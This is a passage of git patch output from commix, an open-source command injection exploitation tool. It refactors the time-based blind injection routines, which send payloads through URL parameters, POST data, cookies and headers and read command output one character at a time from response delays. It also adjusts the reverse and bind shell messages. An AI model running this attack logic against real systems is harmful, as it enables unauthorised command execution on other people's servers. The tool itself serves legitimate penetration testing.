user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Retrieved the length of execution output: " + str(output_length) - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) - else: - sub_content = "Retrieved: " + str(output_length) - settings.print_data_to_stdout(settings.print_sub_content(sub_content)) - found_chars = True - injection_check = False - break - - # Proceed with the next (injection) step! - if found_chars == True : - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - output = [] - percent = "0.0%" - info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." - if settings.VERBOSITY_LEVEL == 0 : - info_msg += ".. (" + str(percent) + ")" - else: - info_msg += "\n" - if output_length > 1: - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - - for num_of_chars in range(1, int(num_of_chars)): - char_pool = checks.generate_char_pool(num_of_chars) - for ascii_char in char_pool: - # Get the execution ouput, of shell execution. - if alter_shell : - payload = tfb_payloads.get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - else: - payload = tfb_payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - if injection_check == True: - if settings.VERBOSITY_LEVEL == 0: - output.append(chr(ascii_char)) - percent, float_percent = checks.percentage_calculation(num_of_chars, output_length) - if percent == 100: - float_percent = settings.info_msg - else: - float_percent = ".. (" + str(float_percent) + "%)" - info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE +"')." - info_msg += float_percent - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - - - else: - output.append(chr(ascii_char)) - injection_check = False - break - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - # Check for empty output. - if output == (len(output) * settings.SINGLE_WHITESPACE): - output = "" - - else: - check_start = 0 - check_how_long = 0 - output = "" - - return check_how_long, output +def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + return injector.time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning): - - if settings.TARGET_OS == settings.OS.WINDOWS: - previous_cmd = cmd - if alter_shell: - cmd = cmd = checks.quoted_cmd(cmd) - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" - - found_chars = False - checks.check_for_false_positive_result(false_positive_warning) - - # Varying the sleep time. - if false_positive_warning: - timesec = timesec + random.randint(3, 5) - - # Checking the output length of the used payload. - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - for output_length in range(1, 3): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - # Execute shell commands on vulnerable host. - if alter_shell : - payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - found_chars = True - break - - if found_chars == True : - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - - output = [] - percent = 0 - - - is_valid = False - for num_of_chars in range(1, int(num_of_chars)): - for ascii_char in range(1, 9): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - # Get the execution ouput, of shell execution. - if alter_shell: - payload = tfb_payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - else: - payload = tfb_payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - output.append(ascii_char) - is_valid = True - break - - if is_valid: - break - - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(" (done)") - return how_long, output - else: - checks.unexploitable_point() - -""" -Export the injection results -""" -def export_injection_results(cmd, separator, output, check_how_long): - if output != "" and check_how_long != 0 : - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - settings.print_data_to_stdout(settings.print_output(output)) - else: - err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique): + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) + # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 3969cd193a..5613b9f785 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -73,7 +73,6 @@ def crawler_request(url, http_request_method): else: request_failed(err_msg) - """ Estimating the response time (in seconds). """ @@ -229,9 +228,6 @@ def estimate_response_time(url, timesec, http_request_method): end = time.time() diff = end - start - - # if settings.VERBOSITY_LEVEL != 0 and _: - # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if int(diff) < 1: url_time_response = int(diff) @@ -464,8 +460,8 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATIVE_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response @@ -507,8 +503,8 @@ def inject_user_agent(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATIVE_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response @@ -550,8 +546,8 @@ def inject_referer(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATIVE_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response @@ -593,8 +589,8 @@ def inject_host(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATIVE_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response @@ -639,8 +635,8 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATIVE_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response @@ -824,10 +820,103 @@ def os_identification(response): Perform target page reload (if it is required). """ def url_reload(url, timesec): - if timesec <= "5": + if int(timesec) <= 5: timesec = 5 time.sleep(timesec) response = urllib.urlopen(url) return response +""" +Check if target host is vulnerable. +""" +def init_injection(payload, http_request_method, url): + if settings.TIME_RELATIVE_ATTACK: + start = 0 + end = 0 + start = time.time() + + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: + payload = payload.replace("#","%23") + vuln_parameter = parameters.vuln_GET_param(url) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(target, method=http_request_method) + else: + parameter = menu.options.data + parameter = parameters.do_POST_check(parameter, http_request_method) + parameter = ''.join(str(e) for e in parameter).replace("+","%2B") + vuln_parameter = parameters.vuln_POST_param(parameter, url) + if settings.IS_JSON: + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + try: + data = checks.json_data(data) + except ValueError: + pass + elif settings.IS_XML: + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + else: + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) + headers.do_check(request) + response = get_request_response(request) + + if settings.TIME_RELATIVE_ATTACK: + end = time.time() + response = int(end - start) + else: + exec_time = response + + return response, vuln_parameter + +""" +Calculate the time relative execution time +""" +def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): + # Fix prefixes / suffixes + payload = parameters.prefixes(payload, prefix) + payload = parameters.suffixes(payload, suffix) + + # Fixation for specific payload. + if ")%3B" + ")}" in payload: + payload = payload.replace(")%3B" + ")}", ")" + ")}") + + payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) + payload = checks.perform_payload_modification(payload) + + # Check if defined "--verbose" option. + if settings.VERBOSITY_LEVEL != 0: + payload_msg = payload.replace("\n", "\\n") + settings.print_data_to_stdout(settings.print_payload(payload_msg)) + + # Check if defined cookie with "INJECT_HERE" tag + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + if not vuln_parameter: + vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) + exec_time = cookie_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined user-agent with "INJECT_HERE" tag + elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: + if not vuln_parameter: + vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) + exec_time = user_agent_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined referer with "INJECT_HERE" tag + elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: + if not vuln_parameter: + vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) + exec_time = referer_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined host with "INJECT_HERE" tag + elif menu.options.host and settings.INJECT_TAG in menu.options.host: + if not vuln_parameter: + vuln_parameter = parameters.specify_host_parameter(menu.options.host) + exec_time = host_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined custom header with "INJECT_HERE" tag + elif settings.CUSTOM_HEADER_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) + exec_time = custom_header_injection(url, vuln_parameter, payload, http_request_method) + else: + exec_time, vuln_parameter = init_injection(payload, http_request_method, url) + + return exec_time, vuln_parameter # eof \ No newline at end of file diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 25934c5a83..3b28cfd9ae 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -52,7 +52,7 @@ def shell_options(option): Success msg. """ def shell_success(): - info_msg = "Everything is in place, cross your fingers and check for bind shell (on port " + settings.LPORT + ").\n" + info_msg = "Everything is in place, cross your fingers and check for bind shell (on port " + settings.LPORT + ")." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index b49dd94232..89779a76d0 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -67,7 +67,7 @@ def gen_payload_msg(payload): Success msg. """ def shell_success(): - info_msg = "Everything is in place, cross your fingers and wait for reverse shell (on port " + settings.LPORT + ").\n" + info_msg = "Everything is in place, cross your fingers and wait for reverse shell (on port " + settings.LPORT + ")." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) diff --git a/src/utils/menu.py b/src/utils/menu.py index 27fbab88de..b0f81f24e6 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -486,11 +486,11 @@ def banner(): help="Seconds to delay between each HTTP request.") injection.add_option("--time-sec", - default=1, + default=0, action="store", type="int", dest="timesec", - help="Seconds to delay the OS response (Default: 1).") + help="Seconds to delay the OS response.") injection.add_option("--tmp-path", action="store", diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 7bc248ea75..6c92d5f736 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -96,23 +96,23 @@ def clear(url): """ Import successful injection points to session file. """ -def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable): +def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \ "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, "\ "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, "\ - "timesec INTEGER, how_long INTEGER, output_length INTEGER, is_vulnerable VARCHAR);") + "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR);") conn.execute("INSERT INTO " + table_name(url) + "_ip(url, technique, injection_type, separator, "\ "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, "\ - "url_time_response, timesec, how_long, output_length, is_vulnerable) "\ + "url_time_response, timesec, exec_time, output_length, is_vulnerable) "\ "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \ (str(url), str(technique), str(injection_type), \ str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), \ str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), \ - int(url_time_response), int(timesec), int(how_long), \ + int(url_time_response), int(timesec), int(exec_time), \ int(output_length), str(is_vulnerable))) conn.commit() conn.close() @@ -209,27 +209,26 @@ def injection_point_exportation(url, http_request_method): result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \ table_name(url) + "_ip' AND type = 'table';") if result: - if menu.options.tech[:1] == "c": - select_injection_type = "R" - elif menu.options.tech[:1] == "e": - settings.EVAL_BASED_STATE = True - select_injection_type = "R" - elif menu.options.tech[:1] == "t": - select_injection_type = "B" - else: - select_injection_type = "S" - if settings.TEMPFILE_BASED_STATE and select_injection_type == "S": - check_injection_technique = "t" - elif settings.EVAL_BASED_STATE and select_injection_type == "R": - check_injection_technique = "d" - else: - check_injection_technique = menu.options.tech[:1] - + # if menu.options.tech[:1] == "c": + # select_injection_type = "R" + # elif menu.options.tech[:1] == "e": + # settings.EVAL_BASED_STATE = True + # select_injection_type = "R" + # elif menu.options.tech[:1] == "t": + # select_injection_type = "B" + # else: + # select_injection_type = "S" + # if settings.TEMPFILE_BASED_STATE and select_injection_type == "S": + # check_injection_technique = "t" + # elif settings.EVAL_BASED_STATE and select_injection_type == "R": + # check_injection_technique = "d" + # else: + # check_injection_technique = menu.options.tech[:1] if settings.TESTABLE_PARAMETER: cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ "url = '" + url + "' AND "\ - "injection_type like '" + select_injection_type + "%' AND "\ - "technique like '" + check_injection_technique + "%' AND "\ + # "injection_type like '" + select_injection_type + "%' AND "\ + # "technique like '" + check_injection_technique + "%' AND "\ "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ "http_request_method = '" + http_request_method + "' "\ "ORDER BY id DESC limit 1;") @@ -237,8 +236,8 @@ def injection_point_exportation(url, http_request_method): else: cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ "url = '" + url + "' AND "\ - "injection_type like '" + select_injection_type + "%' AND "\ - "technique like '" + check_injection_technique + "%' AND "\ + # "injection_type like '" + select_injection_type + "%' AND "\ + # "technique like '" + check_injection_technique + "%' AND "\ "http_header = '" + settings.HTTP_HEADER + "' AND "\ "http_request_method = '" + http_request_method + "' "\ "ORDER BY id DESC limit 1;") @@ -258,10 +257,10 @@ def injection_point_exportation(url, http_request_method): http_request_method = session[13] url_time_response = session[14] timesec = session[15] - how_long = session[16] + exec_time = session[16] output_length = session[17] is_vulnerable = session[18] - return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable + return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable else: no_such_table = True pass @@ -280,37 +279,18 @@ def notification(url, technique, injection_type): try: if settings.LOAD_SESSION == True: while True: - message = "A previously stored session has been held against that target. " - message += "Do you want to resume to " + # message = "A previously stored session has been held against that target. " + message = "Do you want to resume to the " message += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " message += technique.rsplit(' ', 2)[0] - message += " injection point? [Y/n] > " + message += " injection point from stored session? [Y/n] > " settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True) if settings.LOAD_SESSION in settings.CHOICE_YES: settings.INJECTION_CHECKER = True return True elif settings.LOAD_SESSION in settings.CHOICE_NO: settings.LOAD_SESSION = False - if technique[:1] != "c": - while True: - message = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " - proceed_option = common.read_input(message, default="C", check_batch=True) - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "a": - settings.RETEST = True - break - elif proceed_option.lower() == "c" : - settings.RETEST = False - break - elif proceed_option.lower() == "n": - raise SystemExit() - else: - pass - else: - common.invalid_option(proceed_option) - pass - if settings.SESSION_APPLIED_TECHNIQUES: - menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES) + settings.RESET_TESTS = True return False elif settings.LOAD_SESSION in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index bf2e0a1faf..03b8943e29 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "89" +REVISION = "90" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -555,8 +555,8 @@ class OS(object): # Seconds to delay between each HTTP request. DELAY = 0 -# Seconds to delay the OS response. (Default 1) -TIMESEC = 1 +# Seconds to delay the OS response. +TIMESEC = 0 # Seconds to delay between each HTTP retry. DELAY_RETRY = 1 @@ -660,8 +660,8 @@ class OS(object): # Accepts 'W','w','U','u','Q','q' CHOICE_OS = ['W','w','U','u','Q','q','N','n'] -# Accepts 'C','c','S','s','Q','q','a','A','n','N' -CHOICE_PROCEED = ['C','c','S','s','Q','q','a','A','n','N'] +# Accepts 'C','c','S','s','Q','q','A','a','N','n','R','r' +CHOICE_PROCEED = ['C','c','S','s','Q','q','A','a','N','n','R','r'] # Available alternative shells AVAILABLE_SHELLS = ["python"] @@ -1028,7 +1028,7 @@ class INJECTION_TECHNIQUE(object): DEL = "rm " # Time-based Variables -FOUND_HOW_LONG = "" +FOUND_EXEC_TIME = "" FOUND_DIFF = "" # Check for PowerShell @@ -1051,8 +1051,8 @@ class INJECTION_TECHNIQUE(object): SESSION_FILE = "" LOAD_SESSION = None -# Retest all techniques -RETEST = False +# Reset all tests (i.e. all techniques) +RESET_TESTS = False # Define the default credentials files USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_usernames.txt" diff --git a/src/utils/update.py b/src/utils/update.py index a55f52a0ce..81be4cbdb4 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -54,8 +54,8 @@ def revision_num(): else: settings.print_data_to_stdout(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL) end = time.time() - how_long = int(end - start) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "." + exec_time = int(end - start) + info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(exec_time)) + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) except: raise SystemExit() @@ -67,7 +67,6 @@ def updater(): info_msg = "Checking requirements to update " info_msg += settings.APPLICATION + " from GitHub repository. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - if menu.options.offline: err_msg = "You cannot update commix via GitHub without access on the Internet." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -102,6 +101,7 @@ def updater(): err_msg = requirment + " not found." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + except Exception as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() From edf7dcee22f8447b38f89118d0f75ecdc9370bcb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 7 Aug 2024 07:12:36 +0300 Subject: [PATCH 488/560] Fixes https://github.com/commixproject/commix/issues/920 --- src/core/injections/controller/injector.py | 16 ++++++++++------ src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 5bcc49d262..b217f4a38d 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -373,14 +373,18 @@ def custom_web_root(url, OUTPUT_TEXTFILE): message = "Enter URL to use " message += "for command execution output > " message = common.read_input(message, default=output, check_batch=True) - output = settings.DEFINED_WEBROOT = message - info_msg = "Using '" + output - info_msg += "' for command execution output." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - if not settings.DEFINED_WEBROOT: + if not re.search(r'^(?:http)s?://', message, re.I): + common.invalid_option(message) pass else: - break + output = settings.DEFINED_WEBROOT = message + info_msg = "Using '" + output + info_msg += "' for command execution output." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if not settings.DEFINED_WEBROOT: + pass + else: + break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 03b8943e29..4a186098d9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "90" +REVISION = "91" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d8169c33cbeb038a9cd8c4b0876e5cb33b0d8da4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 27 Aug 2024 19:51:47 +0300 Subject: [PATCH 489/560] Fixes https://github.com/commixproject/commix/issues/953 --- src/core/injections/controller/checks.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 511ddf0baa..6c76fe763a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -36,6 +36,7 @@ from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode from socket import error as SocketError +from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters diff --git a/src/utils/settings.py b/src/utils/settings.py index 4a186098d9..bebf834d78 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "91" +REVISION = "92" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0fd9c1da31d450854a3ad72add5ba333a7bd58d9 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos <5289251+stasinopoulos@users.noreply.github.com> Date: Fri, 30 Aug 2024 07:25:43 +0300 Subject: [PATCH 490/560] Update lockbot.yml --- .github/workflows/lockbot.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/lockbot.yml b/.github/workflows/lockbot.yml index 8145a665f8..d2b9092a5a 100644 --- a/.github/workflows/lockbot.yml +++ b/.github/workflows/lockbot.yml @@ -13,5 +13,5 @@ jobs: steps: - uses: dessant/lock-threads@v2 with: - 